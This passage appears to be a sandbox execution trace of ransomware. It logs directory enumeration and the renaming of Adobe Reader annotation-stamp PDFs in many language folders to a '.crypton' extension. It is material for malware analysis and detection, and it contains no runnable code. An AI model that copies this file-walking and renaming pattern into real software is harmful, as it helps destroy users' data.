(x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\Dynamic.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\dynamic.pdf.crypton"), dwFlags=0x2) returned 1 [0149.037] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\SignHere.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\signhere.pdf.crypton"), dwFlags=0x2) returned 1 [0149.088] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\StandardBusiness.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\standardbusiness.pdf.crypton"), dwFlags=0x2) returned 1 [0149.096] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd6396060, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd6396060, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0149.126] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\enu\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\Dynamic.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\enu\\dynamic.pdf.crypton"), dwFlags=0x2) returned 1 [0149.153] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\enu\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\SignHere.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\enu\\signhere.pdf.crypton"), dwFlags=0x2) returned 1 [0149.215] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\enu\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\StandardBusiness.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\enu\\standardbusiness.pdf.crypton"), dwFlags=0x2) returned 1 [0149.223] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd64c6b60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd64c6b60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0149.252] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\esp\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\Dynamic.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\esp\\dynamic.pdf.crypton"), dwFlags=0x2) returned 1 [0149.274] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\esp\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\SignHere.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\esp\\signhere.pdf.crypton"), dwFlags=0x2) returned 1 [0149.562] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\esp\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\StandardBusiness.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\esp\\standardbusiness.pdf.crypton"), dwFlags=0x2) returned 1 [0149.569] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81e8c820, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd6832b00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd6832b00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0149.613] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Dynamic.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\dynamic.pdf.crypton"), dwFlags=0x2) returned 1 [0149.763] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\faces.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Faces.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\faces.pdf.crypton"), dwFlags=0x2) returned 1 [0149.793] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\pointers.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Pointers.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\pointers.pdf.crypton"), dwFlags=0x2) returned 1 [0149.814] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\SignHere.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\signhere.pdf.crypton"), dwFlags=0x2) returned 1 [0149.930] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\standard.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Standard.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\standard.pdf.crypton"), dwFlags=0x2) returned 1 [0150.221] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\StandardBusiness.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\standardbusiness.pdf.crypton"), dwFlags=0x2) returned 1 [0150.290] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd6f0aa40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd6f0aa40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0150.488] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\fra\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\Dynamic.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\fra\\dynamic.pdf.crypton"), dwFlags=0x2) returned 1 [0150.511] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\fra\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\SignHere.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\fra\\signhere.pdf.crypton"), dwFlags=0x2) returned 1 [0150.671] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\fra\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\StandardBusiness.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\fra\\standardbusiness.pdf.crypton"), dwFlags=0x2) returned 1 [0150.677] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd72c2ca0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd72c2ca0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0150.746] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Dynamic.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\dynamic.pdf.crypton"), dwFlags=0x2) returned 1 [0150.766] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\faces.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Faces.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\faces.pdf.crypton"), dwFlags=0x2) returned 1 [0150.793] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\pointers.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Pointers.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\pointers.pdf.crypton"), dwFlags=0x2) returned 1 [0150.819] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\SignHere.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\signhere.pdf.crypton"), dwFlags=0x2) returned 1 [0150.876] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\standard.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Standard.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\standard.pdf.crypton"), dwFlags=0x2) returned 1 [0150.933] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\StandardBusiness.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\standardbusiness.pdf.crypton"), dwFlags=0x2) returned 1 [0150.949] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806e4d80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd754a400, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd754a400, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0150.976] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Dynamic.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\dynamic.pdf.crypton"), dwFlags=0x2) returned 1 [0150.997] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\faces.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Faces.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\faces.pdf.crypton"), dwFlags=0x2) returned 1 [0151.024] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\pointers.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Pointers.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\pointers.pdf.crypton"), dwFlags=0x2) returned 1 [0151.069] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\SignHere.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\signhere.pdf.crypton"), dwFlags=0x2) returned 1 [0151.129] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\standard.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Standard.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\standard.pdf.crypton"), dwFlags=0x2) returned 1 [0151.187] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\StandardBusiness.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\standardbusiness.pdf.crypton"), dwFlags=0x2) returned 1 [0151.194] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd77aba00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd77aba00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0151.222] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\Dynamic.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\dynamic.pdf.crypton"), dwFlags=0x2) returned 1 [0151.245] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\SignHere.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\signhere.pdf.crypton"), dwFlags=0x2) returned 1 [0151.298] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\StandardBusiness.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\standardbusiness.pdf.crypton"), dwFlags=0x2) returned 1 [0151.305] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd78b63a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd78b63a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0151.334] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\Dynamic.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\dynamic.pdf.crypton"), dwFlags=0x2) returned 1 [0151.370] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\Hanko.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\hanko.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\Hanko.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\hanko.pdf.crypton"), dwFlags=0x2) returned 1 [0151.394] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\SignHere.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\signhere.pdf.crypton"), dwFlags=0x2) returned 1 [0151.453] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\StandardBusiness.pdf.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 